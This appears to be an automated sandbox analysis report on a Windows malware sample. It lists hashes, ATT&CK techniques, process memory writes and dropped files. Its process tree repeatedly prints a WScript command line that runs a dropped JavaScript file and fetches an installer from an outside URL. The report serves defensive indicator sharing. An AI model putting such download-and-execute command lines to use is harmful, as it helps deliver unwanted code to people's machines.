ce13c6d900e0a08e2e13e3a4deb9c96e453c87d71ddea53b00071f2d1d9e38a7

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
14-05-2024 14:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe
Size

184KB
MD5

41d2b31b5f8f00018bd12c74975e1f06
SHA1

fc5127d7915e1c635c333ad315699fe7566a299b
SHA256

ce13c6d900e0a08e2e13e3a4deb9c96e453c87d71ddea53b00071f2d1d9e38a7
SHA512

28eba5f3ff42483414b067201b8e3cfbe57ff4367447d60e6314ecbba04950227c73134507b2443d4e0e66df28eb070d5b09ecf9d2108d26b2fc9b27cba26a05
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3v:/7BSH8zUB+nGESaaRvoB7FJNndn+

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	1684	WScript.exe
8	1684	WScript.exe
10	1684	WScript.exe
12	2568	WScript.exe
13	2568	WScript.exe
15	2608	WScript.exe
16	2608	WScript.exe
18	1324	WScript.exe
19	1324	WScript.exe
21	2100	WScript.exe
22	2100	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1288 wrote to memory of 1684	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	28
PID 1288 wrote to memory of 1684	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	28
PID 1288 wrote to memory of 1684	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	28
PID 1288 wrote to memory of 1684	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	28
PID 1288 wrote to memory of 2568	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	30
PID 1288 wrote to memory of 2568	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	30
PID 1288 wrote to memory of 2568	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	30
PID 1288 wrote to memory of 2568	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	30
PID 1288 wrote to memory of 2608	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	32
PID 1288 wrote to memory of 2608	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	32
PID 1288 wrote to memory of 2608	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	32
PID 1288 wrote to memory of 2608	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	32
PID 1288 wrote to memory of 1324	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	34
PID 1288 wrote to memory of 1324	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	34
PID 1288 wrote to memory of 1324	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	34
PID 1288 wrote to memory of 1324	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	34
PID 1288 wrote to memory of 2100	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	36
PID 1288 wrote to memory of 2100	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	36
PID 1288 wrote to memory of 2100	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	36
PID 1288 wrote to memory of 2100	1288	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	36

C:\Users\Admin\AppData\Local\Temp\41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1288
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC50.js" http://www.djapp.info/?domain=mBkFqWITfj.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fufC50.exe
  2⤵
  - Blocklisted process makes network request
  PID:1684
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC50.js" http://www.djapp.info/?domain=mBkFqWITfj.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fufC50.exe
  2⤵
  - Blocklisted process makes network request
  PID:2568
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC50.js" http://www.djapp.info/?domain=mBkFqWITfj.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fufC50.exe
  2⤵
  - Blocklisted process makes network request
  PID:2608
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC50.js" http://www.djapp.info/?domain=mBkFqWITfj.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fufC50.exe
  2⤵
  - Blocklisted process makes network request
  PID:1324
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC50.js" http://www.djapp.info/?domain=mBkFqWITfj.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fufC50.exe
  2⤵
  - Blocklisted process makes network request
  PID:2100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
377b0b955dd0b0490e7beca59ae633a5

SHA1
a861cdd741b460d5fbda5452d31a5e507da50c06

SHA256
50e3cb37250fc0daf7672d7bc608ea0471916b2a31d102c5a6c48b0a086bbe7b

SHA512
3ccfdf2f239c66517b6134d51ff52481c5d9c4df22db49556b0073f0aec89c53354988ae5217272beffa6adbaffeded34b7230cbd5a0569d20be076157e61225

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
df449623320ba72e29f49b89f8ca9cee

SHA1
59bbb6ff6206545d8c4a3dcb6ffd462288442e4e

SHA256
6b293411f77dfae4d4fd54c5cd9d9e11e8c9e583c89f46c6af65973c3915aa9b

SHA512
00d28604172cb555e076bf6a2a97450a175f086384afb56fa2be14f34717ff4701ac9473e036031883604a594decc636a1042ab072b18da013abea7d07def5df

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
6d15b1b286ebd28169cc7c03133ca92c

SHA1
067c943c650791dc8df70bf6b7620403a1972601

SHA256
40605b3cc04e059d36dcc2a61f2667e426a54e336e1dee30c7da286e94b4a926

SHA512
af9fcc79f426ddff1523f5956faa41355b5815aa30b64a97cbf501b90a361928a8c4dfb2a2604552b24136ae8959a7037230c8edd30fa11efc3caa1ee0fa696c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
ab59857bb51a15f102b74b4a98786f8c

SHA1
f57c733de49a488a806480e29fd9d24d7b6da0ee

SHA256
b7be47d8c5db9140197f91d7394a1404925f9ec43ef1e1fbdf01ed89c016e203

SHA512
39154e5cdc2651d8cfab954976ab4fac4ee334e03502190777298a575ffb6d5e98039ab58d177f58cea067f5cd14cd60a65a68a17560a29613850e283584a3ce

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3NPBB818\domain_profile[1].htm

Filesize
40KB

MD5
4b440fbd8def866a1f62dc89dc3f1594

SHA1
35ba64dd9c9d9efe59b34b20d0494104ebb632b6

SHA256
c7e1f1c1d1ddcf80d83926650450e099d9968156f57586892c59c945eb034acb

SHA512
4fa3ec34350ec73a86ae80407429bae562f39f714f52c5ecf60ab6f79a97211671483f3ea2597d39ad805fe2a6b8df101d5e9296229fae99c0c14f659b8c13e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3NPBB818\domain_profile[1].htm

Filesize
40KB

MD5
d54552f5dc01192862556d35c8e1edfe

SHA1
779d60ebe98debe9d319b044211712fe8edb5429

SHA256
cdba98f90fc25aea91cead235a28552276cdd10b6923afbbb7e46e6ad9237913

SHA512
dd1c39ea6e22c42e27cd5d06449f1fc25eb1c49cfbae5070988743e984ed58686bc0b285e8c0a12c8feccfd8562dfd05b994c2dab30f38f0fd9cd7befc87b961

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EDQW9R5V\domain_profile[1].htm

Filesize
40KB

MD5
da69e0add2ec9b5c6d9ba2b63c0213c8

SHA1
f00007ea9121bc178d6d8bf94d1fdaa7c53a4551

SHA256
41fd47e9b79e8b2d8dfdb6dd14862aaf2f3021d6329a2f789793e298b79a01a5

SHA512
1e78b27ebdbca3cc0448f79e01732a80415ad4081a35e5526fec22cd80de4ce7ef38371e292bf57a7da0bf944190d3a01d57813e04c8765d1163f7fb13c4e8c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EDQW9R5V\domain_profile[1].htm

Filesize
40KB

MD5
d74f56eae2a4a2dbc07b473a8a0b4050

SHA1
5817fa5050881409e96e31afca3dc1fcae37ff01

SHA256
4ca976dfa5d4c2bd3f1f0ab8b86c965ad25335bda5b1a966b634b32682a474eb

SHA512
996dc46d75bbfddcb4cae64d8ae6c1ed21c8ff3f4f1ca44c6d4b1ad5f01d000bb68951ac8bdb658fda822a2fc4d3dfe99f4eaa14fcd51cfec6a816a25e751fd6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EDQW9R5V\domain_profile[1].htm

Filesize
40KB

MD5
eb476aaeb688ad47508e1929c57b8e47

SHA1
04b3414971f4cdee69cefe62409fe8a957dbf830

SHA256
3e8d7388a6a230fd00a2568ef7b07495fe303e246c89fe865da31ec5daa798bf

SHA512
a1f6612bf39cfc9d049afa6324d554e548d9415089fc911b8dc67de0860c4bad21a10614315799dd59ac9a5adb28d77c3b56c0f3a8c7d3fa5853776158061eec

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab3BB9.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar541A.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fufC50.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\XYB0J03L.txt

Filesize
177B

MD5
1d80ff8e8594ba58a495827726b1ecbb

SHA1
bb27204f92dfba9423bb7c2274e9cfae03a8c419

SHA256
e74ca761cb4daa832c9c2cf9b7fe56063b3c5a3d090cf1dbbdf5f0a61eba9277

SHA512
4d49c828a0283a6753be41f07fa9d3451f9f98ee700a2fe364b683c27ee0cf69d8a68b25b7c59afa1909e8e4a9b921b89be659fe2beef230beed82be0ea7f25d

Download Submit